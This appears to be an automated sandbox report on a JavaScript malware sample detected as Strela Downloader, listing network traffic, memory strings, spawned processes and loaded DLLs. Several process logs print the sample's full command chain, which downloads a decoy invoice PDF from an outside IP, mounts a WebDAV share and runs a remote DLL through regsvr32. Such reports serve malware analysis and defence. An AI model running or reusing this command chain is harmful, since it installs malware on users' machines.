HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1429138156.000001D4A4DE0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1429138156.000001D4A4DED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494355666.0000023931526000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1494355666.000002393154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(=
Source: net.exe, 00000007.00000002.1494355666.0000023931526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/8
Source: net.exe, 00000007.00000002.1494355666.00000239314F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.2708369880.000002322248D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1508081665.0000023222170000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7700, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3132773231614716983.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djue2yjy.l32.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3132773231614716983.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1536,i,10289283819608342665,2050877796663969327,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\161061819625617.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1536,i,10289283819608342665,2050877796663969327,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
